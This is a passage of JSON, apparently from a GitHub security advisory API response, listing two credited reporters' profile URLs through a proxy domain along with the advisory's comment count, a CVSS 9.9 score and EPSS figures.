ez0ff/repos","events_url":"https://api.github.com/users/cherez0ff/events{/privacy}","received_events_url":"https://api.github.com/users/cherez0ff/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"zwindler","id":1246797,"node_id":"MDQ6VXNlcjEyNDY3OTc=","avatar_url":"https://avatars.githubusercontent.com/u/1246797?v=4","gravatar_id":"","url":"https://api.github.com/users/zwindler","html_url":"/zwindler","followers_url":"https://api.github.com/users/zwindler/followers","following_url":"https://api.github.com/users/zwindler/following{/other_user}","gists_url":"https://api.github.com/users/zwindler/gists{/gist_id}","starred_url":"https://api.github.com/users/zwindler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zwindler/subscriptions","organizations_url":"https://api.github.com/users/zwindler/orgs","repos_url":"https://api.github.com/users/zwindler/repos","events_url":"https://api.github.com/users/zwindler/events{/privacy}","received_events_url":"https://api.github.com/users/zwindler/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":8,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9},"epss":{"percentage":0.0072,"percentile":0.52865}}]